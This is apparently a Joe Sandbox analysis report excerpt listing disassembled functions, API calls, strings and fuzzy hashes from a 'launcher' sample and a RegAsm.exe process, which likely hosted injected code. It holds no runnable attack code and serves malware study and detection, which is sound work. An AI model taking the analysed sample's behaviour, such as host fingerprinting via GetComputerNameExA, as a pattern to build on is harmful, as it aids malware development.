Instruction ID: d7ac838db2b49df05d56c0173f9ad162e43895adc6dbc627607113753a9b4f66
Opcode Fuzzy Hash: 03a30fad7c63f9c6c13a9ea8dd5a823b7171df928bd1d861c631eff00d51bbe4
Instruction Fuzzy Hash: 7901FC3212C7115ED6272774BCA5917274DFB017B8B30833BF214892E9EF525C419350

Uniqueness

Uniqueness Score: -1.00%

Function 0036CE6A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,55303788,?,?,00000000,0037B7D9,000000FF,?,0036CDFA,?,?,0036CDCE,00000000), ref: 0036CE9F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0036CEB1
FreeLibrary.KERNEL32(00000000,?,00000000,0037B7D9,000000FF,?,0036CDFA,?,?,0036CDCE,00000000), ref: 0036CED3

Strings

CorExitProcess, xrefs: 0036CEA9
mscoree.dll, xrefs: 0036CE98

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f735507d3c095ae311bc6e60494bc768301877ab0232e6e0bb4f06af8e3efea
Instruction ID: b8c28b58ef4830c6fbc9445629a5a005fef37e8c04d6bbdd31c547a40bfd3d5e
Opcode Fuzzy Hash: 0f735507d3c095ae311bc6e60494bc768301877ab0232e6e0bb4f06af8e3efea
Instruction Fuzzy Hash: 6B01A272950659EFCB238F40DC09BAEBBBCFB08B15F018129F816A2290DB759D00CA90

Uniqueness

Uniqueness Score: -1.00%

Function 0037312A Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 003731B1
__alloca_probe_16.LIBCMT ref: 00373272
__freea.LIBCMT ref: 003732D9

Part of subcall function 00372691: HeapAlloc.KERNEL32(00000000,003624C3,?,?,00365BCA,?,?,?,00000000,?,00361906,003624C3,?,?,?,?), ref: 003726C3

__freea.LIBCMT ref: 003732EE
__freea.LIBCMT ref: 003732FE

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: d943d111cffe86e4e3bcb1c0b42cd24ab43999bc197db492acbe00f838391c4d
Instruction ID: 3a9354697edcafcad0ad2a28bc7003d893fb8a5bac6d5712a4f776abb6d23cdf
Opcode Fuzzy Hash: d943d111cffe86e4e3bcb1c0b42cd24ab43999bc197db492acbe00f838391c4d
Instruction Fuzzy Hash: EB51B672600216AFDF369E54DC42EBB77A9EF05310B168529FD0CDB142EB39DD10A760

Uniqueness

Uniqueness Score: -1.00%

Function 00363FB7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00363FBE
std::_Lockit::_Lockit.LIBCPMT ref: 00363FC9
std::_Lockit::~_Lockit.LIBCPMT ref: 00364037

Part of subcall function 0036411A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00364132

std::locale::_Setgloballocale.LIBCPMT ref: 00363FE4
_Yarn.LIBCPMT ref: 00363FFA

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 50eed192272e94370564a89252ec4e5b6dfd74da813bbd1a2c04831fbc32776a
Instruction ID: 9ca181f30a32abd3653dcc276d4f30657b4a4d056fe1eda6bb141353b14fd180
Opcode Fuzzy Hash: 50eed192272e94370564a89252ec4e5b6dfd74da813bbd1a2c04831fbc32776a
Instruction Fuzzy Hash: CE018B75E011209BCB0BEF60E865A7CBBB5BF89740F14800AE8055B386DF34AE46CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 003627F4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003627FB
std::_Lockit::_Lockit.LIBCPMT ref: 00362808
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00362845

Part of subcall function 003640B5: _Yarn.LIBCPMT ref: 003640D4
Part of subcall function 003640B5: _Yarn.LIBCPMT ref: 003640F8

Strings

bad locale name, xrefs: 00362856

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: 1be4b47f0afbcacc5ccd0956af6c56551b0d47f05df0257f4fdb75e6e729852d
Instruction ID: 3d64358a8aaa076b9100bf9b79faa4566179dcd5cb0d579ecc06f3f7ec0c8f1d
Opcode Fuzzy Hash: 1be4b47f0afbcacc5ccd0956af6c56551b0d47f05df0257f4fdb75e6e729852d
Instruction Fuzzy Hash: 7F018C71905B549EC732AFAA944058BFFF0BF28750B40C92EE58D8BA01C730E640CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00368DA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00383FD8,00000000,00000800,?,00368D53,00000000,?,00000000,?,?,?,00368E7D,00000002,FlsGetValue,0037DC88,FlsGetValue), ref: 00368DAF
GetLastError.KERNEL32(?,00368D53,00000000,?,00000000,?,?,?,00368E7D,00000002,FlsGetValue,0037DC88,FlsGetValue,00000000,?,00367D0D), ref: 00368DB9
LoadLibraryExW.KERNEL32(00383FD8,00000000,00000000,?,00383FD8,?,?,?,003617FD,?,003617FD,?), ref: 00368DE1

Strings

api-ms-, xrefs: 00368DC6

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: d2b6aba78b845d5c1494af203bb283b8fddb0724f866501c9771bacf7437f757
Instruction ID: e30f5131f32b52904f31ce0cfe69e76f398470de9b77d0da6abc5f428fb38b0b
Opcode Fuzzy Hash: d2b6aba78b845d5c1494af203bb283b8fddb0724f866501c9771bacf7437f757
Instruction Fuzzy Hash: E3E04874240205F7EF231F61DC0AB583B699F10B44F108024F90CA84E5DB61D85489D5

Uniqueness

Uniqueness Score: -1.00%

Function 0037045E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(55303788,00000000,00000000,00000000), ref: 003704C1

Part of subcall function 003742D4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003732CF,?,00000000,-00000008), ref: 00374380

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0037071C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00370764
GetLastError.KERNEL32 ref: 00370807

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 0cd79e901d0f8a425038e675d82b678091e331eb918b6600a67bffa69670c0a4
Instruction ID: 98588825653606b6d9697bebdd4d19233d5420300263e5249cf7784664e7a9af
Opcode Fuzzy Hash: 0cd79e901d0f8a425038e675d82b678091e331eb918b6600a67bffa69670c0a4
Instruction Fuzzy Hash: CCD15B75D04248EFCB2ACFA8D890AADBBB9FF49314F14812AE459EB351D734A941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00367D71 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00367E38
___AdjustPointer.LIBCMT ref: 00367E5B
___AdjustPointer.LIBCMT ref: 00367EF7

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 75a69a752de7a91960fae33638d2d8f95e8a7e40ddd9ee2440aa57d8d0394a7f
Instruction ID: a6cccae98eaa6cd6f91e9fcc7fc150c2771a200cd4b55904e4b4d64aa2100107
Opcode Fuzzy Hash: 75a69a752de7a91960fae33638d2d8f95e8a7e40ddd9ee2440aa57d8d0394a7f
Instruction Fuzzy Hash: 505106726092029FDB2B8F50D841BBA77A5FF44318FA5C56DE8014B699D772EC44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 003746F0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 003742D4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003732CF,?,00000000,-00000008), ref: 00374380

GetLastError.KERNEL32 ref: 00374754
__dosmaperr.LIBCMT ref: 0037475B
GetLastError.KERNEL32(?,?,?,?), ref: 00374795
__dosmaperr.LIBCMT ref: 0037479C

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: d3faecc88fb6400bd5c48d984d5c3f7d2ab83799f152f178071d7d03d1b1315e
Instruction ID: ebcc8bef486bb951940b2670fdb98c49635a55ba713daa2a6f066f35fb8cbaad
Opcode Fuzzy Hash: d3faecc88fb6400bd5c48d984d5c3f7d2ab83799f152f178071d7d03d1b1315e
Instruction Fuzzy Hash: 0A21DE71600245AFCB37AF61888096BB7ADEF46360B11C518FA2DDB601D739FC808BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0036C094 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e617156beba11990c957accbb9510cf327b024488884fece9495d6e35ff53c2
Instruction ID: 7ab59b0919f0be4e6ddf537393f0bb1d176b8ed6184b159eb592317fe6d7b9ab
Opcode Fuzzy Hash: 0e617156beba11990c957accbb9510cf327b024488884fece9495d6e35ff53c2
Instruction Fuzzy Hash: B721D471220205AFCB22AF70DC8197BB76DAF02364B11D515F999DB746D731EC508BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00375686 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0037568E

Part of subcall function 003742D4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003732CF,?,00000000,-00000008), ref: 00374380

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003756C6
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003756E6

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d16b3a21eaa14f4e79a124da0249713fc54b0df136c421ef414a1a43aa6c9cdd
Instruction ID: 7b18e0861af106d3edbac9a6e5369eed055c1b1aaba4bdfc5f076035ce0e9ec7
Opcode Fuzzy Hash: d16b3a21eaa14f4e79a124da0249713fc54b0df136c421ef414a1a43aa6c9cdd
Instruction Fuzzy Hash: 54112BB1501A15FFA73B27719CC9C7F696CDF45394B508424F809D5101FAB8DD0086B1

Uniqueness

Uniqueness Score: -1.00%

Function 00379AB5 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,003788CA,00000000,00000001,00000000,00000000,?,0037085B,00000000,00000000,00000000), ref: 00379ACC
GetLastError.KERNEL32(?,003788CA,00000000,00000001,00000000,00000000,?,0037085B,00000000,00000000,00000000,00000000,00000000,?,00370DE2,00000000), ref: 00379AD8

Part of subcall function 00379A9E: CloseHandle.KERNEL32(FFFFFFFE,00379AE8,?,003788CA,00000000,00000001,00000000,00000000,?,0037085B,00000000,00000000,00000000,00000000,00000000), ref: 00379AAE

___initconout.LIBCMT ref: 00379AE8

Part of subcall function 00379A60: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00379A8F,003788B7,00000000,?,0037085B,00000000,00000000,00000000,00000000), ref: 00379A73

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,003788CA,00000000,00000001,00000000,00000000,?,0037085B,00000000,00000000,00000000,00000000), ref: 00379AFD

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 89a9b82f3b6773c876d0a77d19c3ced68e5483baf7794e79133878b3cd0e4964
Instruction ID: 39476f488fc76e9c746541457c2a323b06ec4b1532af185fe640619bc35633ce
Opcode Fuzzy Hash: 89a9b82f3b6773c876d0a77d19c3ced68e5483baf7794e79133878b3cd0e4964
Instruction Fuzzy Hash: 30F0F836505118FBCF331FA5AC04B8D7F6AEB497A0F029216FE1C89220D632C860EB90

Uniqueness

Uniqueness Score: -1.00%

Function 0036836D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00368392

Strings

MOC, xrefs: 003683A4
RCC, xrefs: 003683AC

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5be09a7028902f7d9a1e1f4053014a70af047550442739146a8fc2665f474ced
Instruction ID: 33a668d2a900b11c721b1b3dd67b9957e58eb7e1dbe3785885d039ea669adb2e
Opcode Fuzzy Hash: 5be09a7028902f7d9a1e1f4053014a70af047550442739146a8fc2665f474ced
Instruction Fuzzy Hash: C2414B71900209AFCF17DF94CC81AAEBBB5BF48304F198259FA0467259DB35D951DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00368D02 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,00368E7D,00000002,FlsGetValue,0037DC88,FlsGetValue,00000000,?,00367D0D,?,00366042), ref: 00368D85
GetProcAddress.KERNEL32(00000000,?), ref: 00368D8F

Strings

B`6, xrefs: 00368D28

Memory Dump Source

Source File: 00000000.00000002.1803765681.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.1803749342.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803785797.000000000037C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803800741.0000000000386000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803828669.00000000003CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803841708.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1803854196.00000000003D2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_launcher.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: B`6
API String ID: 3013587201-639139458
Opcode ID: 8037707600ad621457032fb6ade2c8159e5813fa8f0a756f63bc8e670aa88bb3
Instruction ID: e02ca746dec03fdf411570b4824db1377e8c3c60031672dc779e4f1b7ffab81e
Opcode Fuzzy Hash: 8037707600ad621457032fb6ade2c8159e5813fa8f0a756f63bc8e670aa88bb3
Instruction Fuzzy Hash: E411B136601515AF8B23DF64EC8099973B9FF5D350B25426AE905DB298DB30DD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 7472, Parent PID: 7444COMMON

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	272
Total number of Limit Nodes:	17

Executed Functions

Function 0042CC40 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042CC8B
GetSystemMetrics.USER32 ref: 0042CC9E
DeleteObject.GDI32 ref: 0042CD17
SelectObject.GDI32 ref: 0042CD75
SelectObject.GDI32 ref: 0042CDF4
DeleteObject.GDI32 ref: 0042CE31

Strings

, xrefs: 0042CDC0

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 1449868515-3916222277
Opcode ID: a2738dacb1e96278d8447951d40609706844435b05aacb32f6c4fa364161da6d
Instruction ID: e38384cd87ade28cd6313d17cab666b4fce57c1bf261222bd51ddb01d85061ac
Opcode Fuzzy Hash: a2738dacb1e96278d8447951d40609706844435b05aacb32f6c4fa364161da6d
Instruction Fuzzy Hash: E7E191B49093809FE374DF28E58978ABBF0BB89705F00892EE5D887351C7B45548CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00424E04 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 653
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 004252ED
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 004253F8

Strings

w`t=, xrefs: 004251B5
*F2y, xrefs: 004250AA
JlR, xrefs: 004254FA

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: *F2y$JlR$w`t=
API String ID: 3545744682-3038908346
Opcode ID: a1aec6634b9f267f82ddcd64ab55e60cd18311622c404add92b1eaaf5212e002
Instruction ID: ea428ba0ac5d5f96ecb39282edeab8a2874b5c0596830c83cdf0d764efbb177f
Opcode Fuzzy Hash: a1aec6634b9f267f82ddcd64ab55e60cd18311622c404add92b1eaaf5212e002
Instruction Fuzzy Hash: 8932A170604F528AE725CB34C454BF3BBE1EF56309F8849ADD0EB8B682D7396406CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424E07 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 641
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 004252ED

Strings

w`t=, xrefs: 004251B5
*F2y, xrefs: 004250AA
JlR, xrefs: 004254FA

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: *F2y$JlR$w`t=
API String ID: 3545744682-3038908346
Opcode ID: 686b7e921ee364e7e0538f8c47d4169b351dd46792f3d7a8d3fbe9b221b5d283
Instruction ID: 6c6aa418148a0a9df0b7829d5249779a634490a379602f05da99294fb073e1e7
Opcode Fuzzy Hash: 686b7e921ee364e7e0538f8c47d4169b351dd46792f3d7a8d3fbe9b221b5d283
Instruction Fuzzy Hash: A8328F70604F528AE725CF34C854BF3BBE1AF56309F88496DD0EB8B682D7396406CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004246CE Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 587
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 004252ED
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 004253F8

Strings

w`t=, xrefs: 004251B5
*F2y, xrefs: 004250AA
JlR, xrefs: 004254FA

Memory Dump Source

Source File: 00000002.00000002.1804892333.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
